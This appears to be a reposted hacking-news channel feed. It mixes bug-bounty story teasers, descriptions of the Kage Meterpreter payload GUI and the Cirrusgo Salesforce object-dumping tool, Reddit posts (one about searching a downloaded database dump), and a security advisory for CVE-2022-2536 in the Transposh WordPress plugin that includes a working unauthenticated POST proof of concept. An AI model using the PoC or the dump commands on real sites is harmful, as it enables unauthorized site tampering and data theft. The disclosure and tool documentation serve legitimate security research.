Hacking on Medium
Best Game Hacking Software Of 2022

https://cdn-images-1.medium.com/max/1280/1*bOcGyxUpb-zAalNzYPO5mg.png
How do I use Artmoney cheat software?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Account takeover worth $1000

https://cdn-images-1.medium.com/max/1280/1*aD3vGKi64LRcyyxB5pzeTA.jpeg
How I was able to find account takeover bug in one of the biggest organization in the world

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Kage : Graphical User Interface For Metasploit Meterpreter And Session Handler

Kage (ka-geh) is a tool inspired by AhMyth designed for Metasploit RPC Server to interact with meterpreter sessions and generate payloads.
For now it only supports windows/meterpreter& android/meterpreter.

Getting Started

Please follow these instructions to get a copy of Kage running on your local machine without any problems.

Prerequisites

* Metasploit-framework must be installed and in your PATH:
* Msfrpcd
* Msfvenom
* Msfdb
Installing

You can install Kage binaries from here.

for developers

to run the app from source code:

Download source code
git clone https://github.com/WayzDev/Kage.git
Install dependencies and run kage
cd Kage
yarn # or npm install
yarn run dev # or npm run dev
to build project
yarn run build
Download

___________________________
@hacking_Attack
@Hacking_Video

How I hacked my University Servers
https://medium.com/@sljsumitgupta/how-i-hacked-my-university-servers-a461701f3cd5?source=rss------bug_bounty-5

Fri Aug 5 around 1:00 a.m. was surfing the internet and like every other day i logged on my uni portal to check my attendance and if any…Continue reading on Medium » (https://medium.com/@sljsumitgupta/how-i-hacked-my-university-servers-a461701f3cd5?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Cirrusgo : A Fast Tool To Scan SAAS, PAAS App Written In Go

Cirrusgo is a fast tool to scan SAAS,PAAS App written in Go

SAAS App Support :

* salesforce
* contentful (next version)

Note flag -o output not working

install : golang 1.18Ver

go install -v github.com/Ph33rr/cirrusgo/cmd/cirrusgo@latest
or
go install -v github.com/Ph33rr/CirrusGo/cmd/cirrusgo@latest

Help

cirrusgo –help

_ _
/ /() _ _ / /
/ / / // // // / / // // / / _ \
/ / / // / / / / // /(_ )/ // // // /
____///// // _,/// _/ ____/ v0.0.1
cirrusgo –help
-u, –url Define single URL to fuzz
-l, –list Show App List
-c, –check only check endpoint
-V, –version Show current version
-h, –help Display its help
[cirrusgo [app] [options] ..]
cirrusgo salesforce –help
-u, –url Define single URL
-c, –check only check endpoint
-lobj, –listobj pull the object list.
-gobj –getobj pull the object.
-obj –objects set the object name. Default value is “User” object.
Juicy Objects: Case,Account,User,Contact,Document,Cont
entDocument,ContentVersion,ContentBody,CaseComment,Not
e,Employee,Attachment,EmailMessage,CaseExternalDocumen
t,Attachment,Lead,Name,EmailTemplate,EmailMessageRelation
-gre –getrecord pull the Record id.
-re –recordid set the recode id to dump the record
-cw –chkWritable check all Writable objects
-f, –full dump all pages of objects.
–dump
-H, –header Pass custom header to target
-proxy, –proxy Use proxy to fuzz
-o, –output File to save results
[flags payload]
[command: cirrusgo salesforce –payload options]
-payload, –payload Generator payload for test manual Default “ObjectList”
GetItems -obj set object
-page set page
-pages set pageSize
GetRecord -re set recoder id
WritableOBJ -obj set object
SearchObj -obj set object
-page set page
-pages set pageSize
AuraContext -fwuid set UID
-App set AppName
-markup set markup
ObjectList no options
Dump no options
-h, –help Display its help

Example

cirrusgo salesforce -u https://loclhost -gobj

dump

cirrusgo salesforce -u https://localhost/ -f

check Writable Objects

cirusgo salesforce -u https://localhost/ -cw
Download

___________________________
@hacking_Attack
@Hacking_Video

How I hacked my University Servers

Fri Aug 5 around 1:00 a.m. was surfing the internet and like every other day i logged on my uni portal to check my attendance and if any…Continue reading on Medium »
Read more...

The 160 Hours Bug Bounty Hunting Challenge — Bug Hacking

Bug bounty is one of the hot topics nowadays. If you are actively following cybersecurity people on social networks (especially Twitter)…Continue reading on Medium »
Read more...

The 160 Hours Bug Bounty Hunting Challenge — Bug Hacking
https://medium.com/@giedrius.saulenas/the-160-hours-bug-bounty-hunting-challenge-bug-hacking-48c2550461b7?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Bug bounty is one of the hot topics nowadays. If you are actively following cybersecurity people on social networks (especially Twitter)…Continue reading on Medium » (https://medium.com/@giedrius.saulenas/the-160-hours-bug-bounty-hunting-challenge-bug-hacking-48c2550461b7?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/f1kS0brkCaecjrAsyLvsq1K0cQ53Q6gsb9bs0aLAHGE.jpg I downloaded database, and in folder there are those files:

​

https://preview.redd.it/bak8csa04oi91.png?width=465&format=png&auto=webp&s=9ecbf8fbdff7db416b043af69fd05ed0c4a62fcb

When I open index.html there is input field where I insert email. After clicking on search button, it ask me where to save file. But saved file have same content as 1.php file

​

https://preview.redd.it/i8jsavcj4oi91.png?width=646&format=png&auto=webp&s=b56544a076f16386f620efc494b8fd6349a9033c

So I don't know how I am supposed to search through database which is this db.txt file (approximately 2GBs)

submitted by /u/wannacry011
[link] [comments]

hacking: security in practice
The Cyberclopaedia now has a module on WiFi hacking!

https://external-preview.redd.it/s2n6_ZBytWcdr63uSQrBe_W8VtllUTDRxBtW968LMCk.jpg?width=640&crop=smart&auto=webp&s=c932c8660e4f919fb4682e12df6cfad46984bc43 submitted by /u/cr0mll
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Mock Server for any Domain on Local Machine

Hello,

As part of a determination of why a certain flash game will not run on the local machine alone, I'm trying to find a method to mock a server containing files that are hosted on the local machine.

I need to do this because the site in question, boyslife.org, has removed the Flash games from their site, but I have saved a copy of some of them for archival purposes.

At least one (the one I was most hopeful to save, "Pedro Kicks Back") has sitelock. However, if the game is launched from the local machine only, the programmed sitelock doesn't even display.

I need to mock a server connection to boyslife.organd then any other site to see if there are other components or if it just behaves differently between all following conditions:

* Played on correct site
* Played on local machine
* Played on foreign site

The important thing is that I can access the "server" from another application (Adobe Flash Player Projector) without it knowing that the server is not real; it has to be transparent, the URL needs to have no indication of mockery.

One more thing that might help - I think BlueMaxima's Flashpoint does some form of this already, because this sort of thing happens when I play that game in Flashpoint. The Flash Projector opens, and if you inspect the URL of the opened file, it says that it is on boyslife.org, even though it is actually on the local machine, no network connection at all.

Any help is much appreciated!

submitted by /u/engelthehyp
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Transposh WordPress Translation 1.0.8.1 Incorrect Authorization

https://2.bp.blogspot.com/-trS7d3JOSJY/WWlvYoSx4fI/AAAAAAAAIOo/ua-jTrS9avcHrliD3JJHs9ifWyf14eAUwCLcBGAs/s1600/h57.png
Transposh WordPress Translation versions 1.0.8.1 and below suffer from an incorrect authorization vulnerability.

SHA-256 | cf075b58a8a1c31fce95fca535703432ed02017dc8456967462b1e93044c2dcc

Download
RCE Security Advisory
https://www.rcesecurity.com
1. ADVISORY INFORMATION
=======================
Product: Transposh WordPress Translation
Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
Type: Incorrect Authorization [CWE-863]
Date found: 2022-07-23
Date published: 2022-08-16
CVSSv3 Score: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
CVE: CVE-2022-2536
2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
3. VERSIONS AFFECTED
====================
Transposh WordPress Translation 1.0.8.1 and below
4. INTRODUCTION
===============
Transposh translation filter for WordPress offers a unique approach to blog
translation. It allows your blog to combine automatic translation with human
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)
5. VULNERABILITY DETAILS
========================
When installed, Transposh comes with a set of pre-configured options; one of these
is the "Who can translate" setting under the "Settings" tab. However, this option
is ignored if Transposh has enabled its "autotranslate" feature (it's enabled by
default) and the HTTP POST parameter "sr0" is larger than 0. This is caused by a
faulty validation in "wp/transposh_db.php":

if (!$by && !($all_editable &&
($this->transposh->is_translator() || ($source > 0 && $this->transposh->options->enable_autotranslate)))) {
tp_logger("Unauthorized translation attempt " . $_SERVER['REMOTE_ADDR'], 1);
header("HTTP/1.0 401 Unauthorized translation");
exit;
}

Successful exploits can allow an unauthenticated attacker to bypass the Transposh
permissions and add translations to the WordPress site, thereby influencing what
is shown on the site. However, this only affects new translations.
6. PROOF OF CONCEPT
===================
The following Proof-of-Concept adds a new translation

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [host]
Content-Length: 74
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0
Connection: close

action=tp_translation&ln0=en&sr0=1&items=1&tk0=translation&tr0=translation
7. SOLUTION
===========
None. Remove the plugin to prevent exploitation.
8. REPORT TIMELINE
==================
2022-07-23: Discovery of the vulnerability
2022-07-23: CVE requested from Wordfence (CNA)
2022-07-25: Wordfence assigns CVE-2022-2536
2022-08-09: Sent note to vendor
2022-08-09: Vendor is aware of this bug, but there is no plan to fix it yet
2022-08-16: Public Disclosure
9. REFERENCES
=============
https://github.com/MrTuxracer/advisories

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
FLIR AX8 1.46.16 Traversal / Access Control / Command Injection / XSS

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How I hacked my University Servers

Fri Aug 5 around 1:00 a.m. was surfing the internet and like every other day i logged on my uni portal to check my attendance and if any…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video